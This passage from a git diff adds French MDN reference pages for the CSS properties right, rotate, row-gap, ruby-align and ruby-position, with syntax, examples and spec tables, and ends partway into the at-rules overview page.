+<p>Lorsque les propriétés <code>right</code> et {{cssxref("left")}} sont définies toutes les deux et que l'élément ne peut pas s'étendre afin de satisfaire ces deux contraintes, la position de l'élément est <em>sur-définie.</em> Dans ce cas, la valeur de {{cssxref("left")}} est prioritaire lorsque le contenant est disposé en lecture de gauche à droite (la valeur calculée de <code>right</code> sera <code>-left</code>), et la valeur de <code>right</code> est prioritaire lorsque le contenant est disposé en lecture de droite à gauche (la valeur calculée de {{cssxref("left")}} sera <code>-right</code>).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css  no-line-numbers">/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+right: 3px;
+right: 2.4em;
+
+/* Valeurs de pourcentage */
+/* Type &lt;percentage&gt;      */
+right: 10%;
+
+/* Valeur avec un mot-clé */
+right: auto;
+
+/* Valeurs globales */
+right: inherit;
+right: initial;
+right: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;length&gt;")}} qui peut être négative, positive ou nulle et représente :
+ <ul>
+  <li>pour les éléments à positionnement absolu : la distance jusqu'au bord droit du bloc englobant.</li>
+  <li>pour les éléments à positionnement relatif : le décalage à droite que l'élément subit par rapport à sa position dans le flux normal s'il n'était pas positionné.</li>
+ </ul>
+ </dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;percentage&gt;")}} représentant le pourcentage de la largeur du bloc englobant.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Un mot-clé qui représente :
+ <ul>
+  <li>pour les éléments à positionnement absolu : la position de l'élément fondé sur la propriété {{cssxref("left")}} et considère <code>width: auto</code> comme une largeur fondée sur le contenu ; ou, si <code>left</code> vaut aussi <code>auto</code>, l'élément serait positionné horizontalement comme s'il avait été un élément statique.</li>
+  <li>pour les éléments à positionnement relatif : le décalage à droite de l'élément par rapport à sa position originale fondé sur la propriété {{cssxref("left")}} ou, si <code>left</code> vaut également <code>auto</code>, aucun décalage.</li>
+ </ul>
+ </dd>
+ <dt><code>inherit</code></dt>
+ <dd>Un mot-clé indiquant que la valeur est identique à la valeur calculée de l'élément parent (qui peut ne pas être sont bloc contenant). Cette valeur calculée est manipulée comme si elle était de type {{cssxref("&lt;length&gt;")}}, {{cssxref("&lt;percentage&gt;")}} ou comme si elle était le mot-clé <code>auto</code>.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight:[16]">#exemple_3 {
+  width: 100px;
+  height: 100px;
+  background-color: #FFC7E4;
+  position: relative;
+  top: 20px;
+  left: 20px;
+}
+
+#exemple_4 {
+  width: 100px;
+  height: 100px;
+  background-color: #FFD7C2;
+  position: absolute;
+  bottom: 10px;
+  right: 20px;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="exemple_3"&gt;Exemple 3&lt;/div&gt;
+&lt;div id="exemple_4"&gt;Exemple 4&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', 500, 220)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'right')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Définit <code>right</code> comme pouvant être animée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Positioning', '#propdef-right', 'right')}}</td>
+   <td>{{Spec2('CSS3 Positioning')}}</td>
+   <td>Description du comportement pour le comportement adhérent (<em>sticky</em>).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visuren.html#propdef-right', 'right')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.right")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("position")}},</li>
+ <li>{{cssxref("left")}},</li>
+ <li>{{cssxref("top")}},</li>
+ <li>{{cssxref("bottom")}}</li>
+</ul>
diff --git a/files/fr/web/css/rotate/index.html b/files/fr/web/css/rotate/index.html
new file mode 100644
index 0000000000..66b5d0819b
--- /dev/null
+++ b/files/fr/web/css/rotate/index.html
@@ -0,0 +1,126 @@
+---
+title: rotate
+slug: Web/CSS/rotate
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/rotate
+---
+<div>{{CSSRef}}{{seecompattable}}</div>
+
+<p>La propriété <strong><code>rotate</code></strong> permet d'indiquer des rotations individuellement et indépendamment de la propriété {{cssxref("transform")}}. Cela peut être utile pour la construction d'une interface utilisateur et évite d'avoir à se souvenir de l'ordre exact des fonctions de transformations à indiquer pour <code>transform</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Valeurs avec un mot-clé */
+rotate: none;
+
+/* Valeur angulaire */
+rotate: 90deg;
+rotate: 0.25turn;
+rotate: 1.57rad;
+
+/* Un axe x, y, z et l'angle associé */
+rotate: x 90deg;
+rotate: y 0.25turn;
+rotate: z 1.57rad;
+
+/* Un vector et l'angle associé */
+rotate: 1 1 1 90deg;</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt>Valeur angulaire</dt>
+ <dd>Une valeur {{cssxref("&lt;angle&gt;")}} qui indique l'angle à utiliser, autour de l'axe Z, pour tourner les éléments. Cela est équivalent à la fonction <code>rotate()</code>.</dd>
+ <dt>Le nom de l'axe et l'angle associé</dt>
+ <dd>Le nom de l'axe par rapport auquel on souhaite effectuer la rotation (<code>"x"</code>, "<code>y</code>" ou "<code>z"</code>), puis une valeur {{cssxref("&lt;angle&gt;")}} qui indique l'angle à appliquer pour la rotation. Cela est équivalent à l'une des fonctions <code>rotateX()</code>/<code>rotateY()</code>/<code>rotateZ()</code>.</dd>
+ <dt>Un vecteur et l'angle associé</dt>
+ <dd>Trois nombres (valeurs {{cssxref("&lt;number&gt;")}}) qui représentent une vecteur centré sur l'origine qui définit la ligne autour de laquelle on souhaite faire tourner l'élément puis une valeur {{cssxref("&lt;angle&gt;")}} qui indique l'angle de rotation. Cela est équivalent à la fonction <code>rotate3d()</code>.</dd>
+ <dt id="none"><code>none</code></dt>
+ <dd>Cette valeur indique qu'aucune rotation ne devrait être appliquée.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="rotate"&gt;Rotation&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">* {
+  box-sizing: border-box;
+}
+
+html {
+  font-family: sans-serif;
+}
+
+div {
+  width: 150px;
+  margin: 0 auto;
+}
+
+p {
+  padding: 10px 5px;
+  border: 3px solid black;
+  border-radius: 20px;
+  width: 150px;
+  font-size: 1.2rem;
+  text-align: center;
+}
+
+.rotate {
+  transition: rotate 1s;
+}
+
+div:hover .rotate {
+  rotate: 1 -0.5 1 180deg;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Transforms 2', '#individual-transforms', 'individual transforms')}}</td>
+   <td>{{Spec2('CSS Transforms 2')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.rotate")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref('translate')}}</li>
+ <li>{{cssxref('scale')}}</li>
+ <li>{{cssxref('transform')}}</li>
+</ul>
diff --git a/files/fr/web/css/row-gap/index.html b/files/fr/web/css/row-gap/index.html
new file mode 100644
index 0000000000..b4f88ab37e
--- /dev/null
+++ b/files/fr/web/css/row-gap/index.html
@@ -0,0 +1,169 @@
+---
+title: row-gap (grid-row-gap)
+slug: Web/CSS/row-gap
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/row-gap
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>row-gap</code></strong> définit la taille des gouttières entre les lignes d'un élément.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/grid-row-gap.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note">
+<p><strong>Note :</strong> La propriété {{cssxref("grid-row-gap")}} a d'abord été définie avec le module de spécification <a href="/fr/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a>. Cette propriété préfixée a ensuite été remplacée par <code>row-gap</code> dans le module <a href="/fr/docs/Web/CSS/CSS_Box_Alignment">CSS Alignment</a> afin d'être généralisée à d'autres modes de disposition. Toutefois, à des fins de compatibilité envers les navigateurs qui n'implémentent pas encore la version non-préfixée, mieux vaut utiliser les deux versions.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeurs de longueur */
+/* Type &lt;largeur&gt;      */
+row-gap: 20px;
+row-gap: 1em;
+row-gap: 3vmin;
+row-gap: 0.5cm;
+
+/* Valeurs proportionnelles */
+/* Type &lt;pourcentage&gt; */
+row-gap: 10%;
+
+/* Valeurs globales */
+row-gap: inherit;
+row-gap: initial;
+row-gap: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;pourcentage-largeur&gt;</code></dt>
+ <dd>La largeur de la « gouttière » placée entre les lignes de la grille. Les valeurs exprimées en pourcentages sont relatives aux dimensions de l'élément.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Disposition_flexible">Disposition flexible</h3>
+
+<p>{{SeeCompatTable}}</p>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css; highlight[4]">#flexbox {
+  display: flex;
+  flex-wrap: wrap;
+  width: 300px;
+  row-gap: 20px;
+}
+
+#flexbox &gt; div {
+  background-color: lime;
+  flex: 1 1 auto;
+  width: 100px;
+  height: 50px;
+}</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div id="flexbox"&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Disposition_flexible', "auto", "120px")}}</p>
+
+<h3 id="Disposition_sur_une_grille">Disposition sur une grille</h3>
+
+<h4 id="CSS_2">CSS</h4>
+
+<div class="hidden">
+<pre class="brush: css">#grid {
+  grid-row-gap: 20px;
+}
+</pre>
+</div>
+
+<pre class="brush: css; highlight[6]">#grid {
+  display: grid;
+  height: 200px;
+  grid-template-columns: 200px;
+  grid-template-rows: repeat(3, 1fr);
+  row-gap: 20px;
+}
+
+#grid &gt; div {
+  background-color: lime;
+}</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;div id="grid"&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+  &lt;div&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample('Disposition_sur_une_grille', 'auto', 120)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Box Alignment", "#propdef-row-gap", "row-gap")}}</td>
+   <td>{{Spec2("CSS3 Box Alignment")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<h3 id="Prise_en_charge_pour_les_dispositions_flexibles">Prise en charge pour les dispositions flexibles</h3>
+
+<p>{{Compat("css.properties.row-gap.flex_context")}}</p>
+
+<h3 id="Prise_en_charge_pour_les_grilles">Prise en charge pour les grilles</h3>
+
+<p>{{Compat("css.properties.row-gap.grid_context")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les versions sans préfixe des propriétés :
+  <ul>
+   <li>{{cssxref("column-gap")}}</li>
+   <li>{{cssxref("gap")}}</li>
+  </ul>
+ </li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Les_concepts_de_base#Les_gouttières">Guide : les concepts de base : les gouttières</a></li>
+ <li><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Concepts_de_base_flexbox">Guide : les concepts de base des boîtes flexibles (flexbox)</a></li>
+</ul>
diff --git a/files/fr/web/css/ruby-align/index.html b/files/fr/web/css/ruby-align/index.html
new file mode 100644
index 0000000000..589f6a46a6
--- /dev/null
+++ b/files/fr/web/css/ruby-align/index.html
@@ -0,0 +1,146 @@
+---
+title: ruby-align
+slug: Web/CSS/ruby-align
+tags:
+  - CSS
+  - Propriété
+  - Reference
+  - Ruby
+translation_of: Web/CSS/ruby-align
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <code><strong>ruby-align</strong></code> définit la façon dont les éléments ruby sont distribués autour du texte de base.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeur avec un mot-clé */
+ruby-align: start;
+ruby-align: center;
+ruby-align: space-between;
+ruby-align: space-around;
+
+/* Valeurs globales */
+ruby-align: inherit;
+ruby-align: initial;
+ruby-align: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>start</code></dt>
+ <dd>Un mot-clé indiquant que les notations ruby sont alignées avec le début du texte de base.</dd>
+ <dt><code>center</code></dt>
+ <dd>Un mot-clé indiquant que les notations ruby sont alignées avec le milieu du texte de base.</dd>
+ <dt><code>space-between</code></dt>
+ <dd>Un mot-clé indiquant qu'un espace supplémentaire sera distribué entre les éléments ruby.</dd>
+ <dt><code>space-around</code></dt>
+ <dd>Un mot-clé indiquant qu'un espace supplémentaire sera distribué entre les éléments ruby et autour d'eux.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Ce fragment HTML sera affiché différemment en fonction des valeurs de <code>ruby-align</code> :</p>
+
+<pre class="brush: html">&lt;ruby&gt;
+  &lt;rb&gt;Un long texte pour tester&lt;/rb&gt;
+  &lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;Un petit ruby&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;
+&lt;/ruby&gt;
+</pre>
+
+<h3 id="Alignement_par_rapport_au_début_du_texte_de_base">Alignement par rapport au début du texte de base</h3>
+
+<pre class="brush: html" style="display: none;">&lt;ruby&gt;
+  &lt;rb&gt;This is a long text to check&lt;/rb&gt;
+  &lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;short ruby&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;
+&lt;/ruby&gt;
+</pre>
+
+<pre class="brush: css">ruby {
+  ruby-align: start;
+}</pre>
+
+<p>Avec ce CSS, on obtient le résultat suivant :</p>
+
+<p>{{EmbedLiveSample("Alignement_par_rapport_au_début_du_texte_de_base", 180, 40)}}</p>
+
+<h3 id="Alignement_par_rapport_au_centre">Alignement par rapport au centre</h3>
+
+<pre class="brush: html" style="display: none;">&lt;ruby&gt;
+  &lt;rb&gt;This is a long text to check&lt;/rb&gt;
+  &lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;short ruby&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;
+&lt;/ruby&gt;
+</pre>
+
+<pre class="brush: css">ruby {
+  ruby-align: center;
+}</pre>
+
+<p>Avec ce CSS, on obtient le résultat suivant :</p>
+
+<p>{{EmbedLiveSample("Alignement_par_rapport_au_centre", 180, 40)}}</p>
+
+<h3 id="Un_espace_supplémentaire_entre_les_éléments_ruby">Un espace supplémentaire entre les éléments ruby</h3>
+
+<pre class="brush: html" style="display: none;">&lt;ruby&gt;
+  &lt;rb&gt;This is a long text to check&lt;/rb&gt;
+  &lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;short ruby&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;
+&lt;/ruby&gt;
+</pre>
+
+<pre class="brush: css">ruby {
+  ruby-align: space-between;
+}</pre>
+
+<p>Avec ce CSS, on obtient le résultat suivant :</p>
+
+<p>{{EmbedLiveSample("Un_espace_supplémentaire_entre_les_éléments_ruby", 180, 40)}}</p>
+
+<h3 id="Un_espace_supplémentaire_entre_et_autour_des_éléments_ruby">Un espace supplémentaire entre et autour des éléments ruby</h3>
+
+<pre class="brush: css">ruby {
+  ruby-align: space-around;
+}</pre>
+
+<p>Avec ce CSS, on obtient le résultat suivant :</p>
+
+<p>{{EmbedLiveSample("Un_espace_supplémentaire_entre_et_autour_des_éléments_ruby", 180, 40)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Ruby', '#ruby-align-property', 'ruby-align')}}</td>
+   <td>{{Spec2('CSS3 Ruby')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.ruby-align")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les éléments HTML liés aux notations Ruby : {{HTMLElement("ruby")}}, {{HTMLElement("rt")}}, {{HTMLElement("rp")}} et {{HTMLElement("rtc")}}.</li>
+ <li>Les propriétés CSS liées aux notations Ruby : {{cssxref("ruby-position")}}, {{cssxref("ruby-merge")}}.</li>
+</ul>
diff --git a/files/fr/web/css/ruby-position/index.html b/files/fr/web/css/ruby-position/index.html
new file mode 100644
index 0000000000..bb0ec85090
--- /dev/null
+++ b/files/fr/web/css/ruby-position/index.html
@@ -0,0 +1,117 @@
+---
+title: ruby-position
+slug: Web/CSS/ruby-position
+tags:
+  - CSS
+  - Propriété
+  - Reference
+  - Ruby
+translation_of: Web/CSS/ruby-position
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <code><strong>ruby-position</strong></code> définit la position d'un élément ruby par rapport à son élément de base. L'élément ruby peut ainsi être positionné au-dessus de l'élément (<code>over</code>), en-dessous (<code>under</code>) ou entre les caractères, sur leur droite (<code>inter-character</code>).</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+ruby-position: over;
+ruby-position: under;
+ruby-position: inter-character;
+
+/* Valeurs globales */
+ruby-position: inherit;
+ruby-position: initial;
+ruby-position: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>over</code></dt>
+ <dd>Un mot-clé qui indique que les annotations ruby doivent être placée au-dessus du texte pour les scripts horizontaux et à droite pour les scripts verticaux.</dd>
+ <dt><code>under</code></dt>
+ <dd>Un mot-clé qui indique que les annotations ruby doivent être placés sous le texte pour les scripts horizontaux et à gauche pour les scripts verticaux.</dd>
+ <dt><code>inter-character</code></dt>
+ <dd>Un mot-clé qui indique que les annotations ruby doivent être placées entre les différents caractères.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Ce fragment HTML rendra un résultat différent pour chaque valeur de <code>ruby-position</code> :</p>
+
+<pre class="brush: html">&lt;ruby&gt;
+  &lt;rb&gt;超電磁砲&lt;/rb&gt;
+  &lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レールガン&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;
+&lt;/ruby&gt;
+</pre>
+
+<h3 id="Au-dessus_du_texte">Au-dessus du texte</h3>
+
+<pre class="brush: html" style="display: none;">&lt;ruby&gt;
+  &lt;rb&gt;超電磁砲&lt;/rb&gt;
+  &lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レールガン&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;
+&lt;/ruby&gt;
+</pre>
+
+<pre class="brush: css">ruby {
+    ruby-position:over;
+}</pre>
+
+<p>On obtiendra le résultat suivant :</p>
+
+<p>{{EmbedLiveSample("Au-dessus_du_texte", 100, 40)}}</p>
+
+<h3 id="En-dessous_du_texte">En-dessous du texte</h3>
+
+<pre class="brush: html" style="display: none;">&lt;ruby&gt;
+  &lt;rb&gt;超電磁砲&lt;/rb&gt;
+  &lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レールガン&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;
+&lt;/ruby&gt;
+</pre>
+
+<pre class="brush: css">ruby {
+    ruby-position:under;
+}</pre>
+
+<p>On obtiendra le résultat suivant :</p>
+
+<p>{{EmbedLiveSample("En-dessous_du_texte", 100, 40)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Ruby', '#rubypos', 'ruby-position')}}</td>
+   <td>{{Spec2('CSS3 Ruby')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.ruby-position")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les éléments HTML à propos de Ruby : {{HTMLElement("ruby")}}, {{HTMLElement("rt")}}, {{HTMLElement("rp")}} et {{HTMLElement("rtc")}}.</li>
+ <li>Les propriétés CSS à propos de Ruby : {{cssxref("ruby-align")}}, {{cssxref("ruby-merge")}}.</li>
+</ul>
diff --git a/files/fr/web/css/règles_@/index.html b/files/fr/web/css/règles_@/index.html
new file mode 100644
index 0000000000..e298cf9028
--- /dev/null
+++ b/files/fr/web/css/règles_@/index.html
@@ -0,0 +1,82 @@
+---
+title: Règles @
+slug: Web/CSS/Règles_@
+tags:
+  - CSS
+  - Reference
+  - Règle @
+translation_of: Web/CSS/At-rule
+---
+<div>{{cssref}}</div>
+
+<p>Une <strong>règle @</strong> est une <a href="/fr/Apprendre/CSS/Introduction_à_CSS/La_syntaxe#Les_instructions_CSS">expression CSS</a> commençant par le symbole '@' (U+0040 COMMERCIAL AT), suivi d'un identifiant et qui contient tout ce qui se trouve jusqu'au prochain point-virgule, ';' (U+003B SEMICOLON), ou jusqu'au prochain <a href="/fr/Apprendre/CSS/Introduction_à_CSS/La_syntaxe#Les_blocs_CSS">bloc CSS</a> trouvé en premier.</p>
+
+<pre class="brush: css">/* Forme générique */
+@IDENTIFIANT (RÈGLE);
+
+/* Exemple : indiquer au navigateur d'utiliser */
+/* UTF-8 comme jeu de caractères */
+@charset "utf-8";</pre>
+
+<p>Il existe de nombreuses règles @, désignées par leurs identifiants, chacune ayant leur propre syntaxe :</p>
+
+<ul>
+ <li>{{cssxref("@charset")}} qui définit le jeu de caractères utilisé par la feuille de style.</li>
+ <li>{{cssxref("@import")}} qui indique au moteur de rendu d'inclure une feuille de style externe.</li>
+ <li>{{cssxref("@namespace")}} qui indique au moteur de rendu que le contenu doit être pris en compte comme s'il était préfixé pour un espace de noms XML.</li>
+ <li><strong><em>Les règles @ imbriquées</em></strong>. Ces règles sont un sous-ensemble des instructions imbriquées qui peuvent être utilisées au plus haut niveau de la feuille de style et aussi à l'intérieur de règles conditionnelles :
+  <ul>
+   <li>{{cssxref("@media")}} : une règle de groupe conditionnelle qui applique son contenu si l'appareil utilisé respecte les critères définis dans la « requête média » (ou <em>media query</em>).</li>
+   <li>{{cssxref("@supports")}} : une règle de groupe conditionnelle qui applique son contenu si le navigateur respecte une condition donnée (par exemple, si le navigateur supporte tel élément de syntaxe).</li>
+   <li>{{cssxref("@document")}} {{experimental_inline}} : une règle de groupe conditionnelle qui applique son contenu si le document sur lequel s'applique la feuille de style respecte une condition donnée <em>(cette règle a été reportée pour être incluse dans la spécification CSS de niveau 4)</em></li>
+   <li>{{cssxref("@page")}} : une règle qui décrit les modifications de disposition à appliquer lorsque le document doit être imprimé/paginé.</li>
+   <li>{{cssxref("@font-face")}} : une règle qui définit une police externe à télécharger.</li>
+   <li>{{cssxref("@keyframes")}} : une règle qui décrit les états des différentes étapes intermédiaires qui composent une animation CSS.</li>
+   <li>{{cssxref("@viewport")}} {{experimental_inline}} : une règle de groupe conditionnelle qui applique son contenu selon des critères relatifs à la zone d'affichage (<em>viewport</em>) <em>(cette règle est au stade du brouillon de travail).</em></li>
+   <li>{{cssxref("@counter-style")}} : une règle qui permet de définir des styles de compteur spécifiques qui ne font pas partie des styles prédéfinis (bien que la spécification ait atteint le niveau de <em>Candidate Recommendation</em>, cette fonctionnalité est uniquement implémentée dans Gecko au moment où nous écrivons ces lignes)</li>
+   <li>{{cssxref("@font-feature-values")}} (ainsi que <code>@swash</code>, <code>@ornaments</code>, <code>@annotation</code>, <code>@stylistic</code>, <code>@styleset</code> et <code>@character-variant</code>) : ces règles permettent de définir des noms d'usages pour la propriété {{cssxref("font-variant-alternates")}} qui permet d'activer différentes caractéristiques des polices OpenType (bien que la spécification ait atteint le niveau de <em>Candidate Recommendation</em>, cette fonctionnalité est uniquement implémentée dans Gecko au moment où nous écrivons ces lignes)</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Les_règles_de_groupe_conditionnelles">Les règles de groupe conditionnelles</h2>
+
+<p>Comme pour les différentes propriétés, chaque règle @ possède une syntaxe différente. Toutefois, on peut en regrouper certaines dans une catégorie : <strong>les règles de groupe conditionnelles</strong>. Ces instructions partagent une syntaxe commune et permettent d'inclure des <em>instructions imbriquées </em>(soit des ensembles de règles CSS soit des règles @ imbriquées). De plus, elles portent toutes une sémantique commune : toutes définissent une certaine condition qui, selon qu'elle est évaluée à vrai ou à faux, permettre d'appliquer les instructions imbriquées du groupe.</p>
+
+<p>Les règles de groupe conditionnelles définies par <a href="https://drafts.csswg.org/css-conditional-3/">la spécification de niveau 3 sur les règles CSS conditionnelles</a> sont :</p>
